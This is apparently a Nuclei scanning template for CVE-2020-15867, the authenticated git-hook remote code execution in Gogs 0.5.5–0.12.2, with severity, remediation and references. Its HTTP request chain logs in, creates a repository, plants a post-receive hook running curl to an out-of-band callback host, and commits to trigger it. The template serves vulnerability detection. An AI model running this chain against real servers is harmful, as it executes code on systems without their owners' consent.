Gogs 0.5.5 - 0.12.2 - Remote Code Execution

id: CVE-2020-15867

info:
  name: Gogs 0.5.5 - 0.12.2 - Remote Code Execution
  author: theamanrawat
  severity: high
  description: |
    Gogs 0.5.5 through 0.12.2 is susceptible to authenticated remote code execution via the git hooks functionality. There can be a privilege escalation if access to this feature is granted to a user who does not have administrative privileges. NOTE: Since this is mentioned in the documentation but not in the UI, it could be considered a "product UI does not warn user of unsafe actions" issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade Gogs to a version that is not affected by the vulnerability (0.12.3 or later).
  reference:
    - https://packetstormsecurity.com/files/162123/Gogs-Git-Hooks-Remote-Code-Execution.html
    - https://www.fzi.de/en/news/news/detail-en/artikel/fsa-2020-3-schwachstelle-in-gitea-1125-und-gogs-0122-ermoeglicht-ausfuehrung-von-code-nach-authent/
    - http://packetstormsecurity.com/files/162123/Gogs-Git-Hooks-Remote-Code-Execution.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15867
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2020-15867
    epss-score: 0.96659
    epss-percentile: 0.99554
    cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 7
    vendor: gogs
    product: gogs
  tags: cve,cve2020,rce,gogs,git,authenticated,packetstorm,intrusive

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}
      - |
        GET /repo/create HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /repo/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&user_id=1&repo_name={{randstr}}&private=on&description=&gitignores=&license=&readme=Default&auto_init=on
      - |
        POST /{{username}}/{{randstr}}/settings/hooks/git/post-receive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&content=%23%21%2Fbin%2Fbash%0D%0Acurl+{{interactsh-url}}
      - |
        GET /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /{{username}}/{{randstr}}/_new/master HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _csrf={{auth_csrf}}&last_commit={{last_commit}}&tree_path=test.txt&content=test&commit_summary=&commit_message=&commit_choice=direct

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: word
        part: body_1
        words:
          - content="Gogs

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - name="_csrf" value="(.*)"
        internal: true

      - type: regex
        name: auth_csrf
        group: 1
        regex:
          - name="_csrf" content="(.*)"
        internal: true

      - type: regex
        name: last_commit
        group: 1
        regex:
          - name="last_commit" value="(.*)"
        internal: true
# digest: 4a0a004730450221009a215b7c44f2fb218def60e0d879afe798183c5f934d27d519c1f12a15ae90bd022071abea3ccb7139b8aaf1d296ad270e2afd6df803ea81281e87c092e97711d955:922c64590222798bb761d5b6d8e72950